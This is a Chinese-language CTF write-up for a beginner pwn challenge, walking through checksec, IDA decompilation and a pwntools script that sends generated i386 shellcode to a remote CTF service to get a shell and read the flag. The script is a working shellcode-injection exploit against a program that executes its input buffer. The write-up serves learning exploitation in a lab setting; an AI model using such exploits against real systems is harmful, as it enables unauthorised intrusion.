通過用shellcode獲取shell
通過用shellcode獲取shell
題目來源 |
---|
題目要求:用pwntools生成shellcode進而獲取shell許可權奪得flag |
題目解題大概思路
下載題目檔案
在終端執行程式,檢視題目檔案型別和保護機制
用對應位數的IDA來開啟題目檔案
看題目的條件和內容
寫python檔案
執行python檔案得到flag
1.終端執行程式,檢視題目檔案型別和保護機制
執行檔案(好像不能輸入資料)
度娘一下: 出現段錯誤簡單來說就是訪問到了不該訪問的記憶體 這些記憶體不屬於使用者態的許可權範圍
檢視檔案(checksec保護機制)
2.反彙編分析
把程式拉IDA裡面分析,F5一鍵反彙編
程式先輸出“input your shellcode”(應該就是我們執行檔案裡面那一句)
然後呼叫read函式
這裡是我們可以呼叫read函式向buf裡面寫入東西
最後一行 ((void (*)(void))buf)()就是呼叫了buf的函式(一開始沒有認真看這一行導致沒有做題的思路)
也就是我們把shellcode寫進buf中,程式就會呼叫我們所寫的shellcode
3.編寫指令碼
要遠端攻擊伺服器,要有相應的ip和埠(可以先進行本地攻擊)
編寫指令碼(還不熟悉,就照葫蘆畫瓢地打)
#-*- coding: utf-8 -*-
#說明Python源程式檔案用使用的編碼型別改為UTF-8的型別
from pwn import *
#匯入pwntools
context(log_level='debug',os='linux',arch='i386')
p = process("./shellcode")
#載入程式
p = remote("49.234.71.236",28228)
#連結遠端伺服器
shellcode = asm(shellcraft.i386.linux.sh())
#生成shellcode
p.recvuntil("shellcode\n")
#接收程式顯示出來的字串,直至執行到read函式
p.sendline(shellcode)
#向程式輸入一行資料(shellcode)
p.interactive()
#將程式控制權交給使用者,相當於自用執行
4.執行指令碼
在終端用python執行我們寫好的指令碼
獲取了shell的許可權後,用ls列出所有目錄,再用cat flag來奪旗
把flag輸入,就成功了,感動QAQ
總結
1.checksec保護機制
2.用pwntools生成shellcode
3.read函式可以為我們往buf寫入資料,同時執行了buf,我們把shellcode寫進buf,程式會幫我們呼叫shellcode
4.對recvuntil函式的使用
5.用remote函式連結遠端伺服器
相關文章
- 通過EPROCESS獲取程式名
- JavaScript 通過class獲取元素物件JavaScript物件
- shell中獲取儲存過程返回值儲存過程
- Grails通過sessionId獲取session物件AISession物件
- 通過web url獲取檔案資訊Web
- 通過反射獲取窗體例項反射
- 通過Java反射動態獲取資訊Java反射
- Unity通過子物件獲取父物件例子Unity物件
- 通過反射獲取私有內部類物件反射物件
- 通過crontab shell獲取分鐘級別的oracle db time效能指標趨勢變化Oracle指標
- Android 通過名稱獲取資源IDAndroid
- 通過JQuery ajax獲取伺服器時間jQuery伺服器
- android通過MediaProjection獲取螢幕內容AndroidProject
- java web 通過request獲取客戶端IPJavaWeb客戶端
- js通過元素的class屬性獲取元素JS
- 通過dblink獲取遠端DDL語句
- 通過PowerShell獲取Windows系統密碼HashWindows密碼
- 通過PowerShell獲取TCP響應(類Telnet)TCP
- 通過gitHub獲取vlc-Android原始碼GithubAndroid原始碼
- 通過javascript+xmlhttp獲取itpub blog列表JavaScriptXMLHTTP
- WinXP/Win7/Win8通用shellcodeWin7
- DataGridView通過滑鼠座標,獲取所在行索引View索引
- C# 通過ConfigurationManager獲取配置資訊C#
- JavaScript 通過 type 屬性值獲取表單元素JavaScript
- javascript通過class屬性獲取元素的程式碼JavaScript
- cookie 中通過 鍵 獲取相對應的 值Cookie
- 通過JavaScript獲取標籤,修改標籤內容JavaScript
- Java——通過反射獲取函式引數名稱Java反射函式
- 反射-通過反射獲取私有構造方法並使用反射構造方法
- 反射-通過反射獲取成員變數並使用反射變數
- 通過 SHGetSpecialFolderLocation、SHGetPathFromIDList 函式獲取常用路徑函式
- 通過NameValuePairsValueProvider物件來獲取指定字首的KeyAIIDE物件
- linux shell獲取時間(2)Linux
- 通過shell指令碼分析足彩指令碼
- 通過shell抓取html資料HTML
- 通過shell解析dump生成parfile
- vue+axio通過獲取dom元素上傳檔案Vue
- 聊天平臺原始碼,通過MediaStore獲取縮圖模糊原始碼AST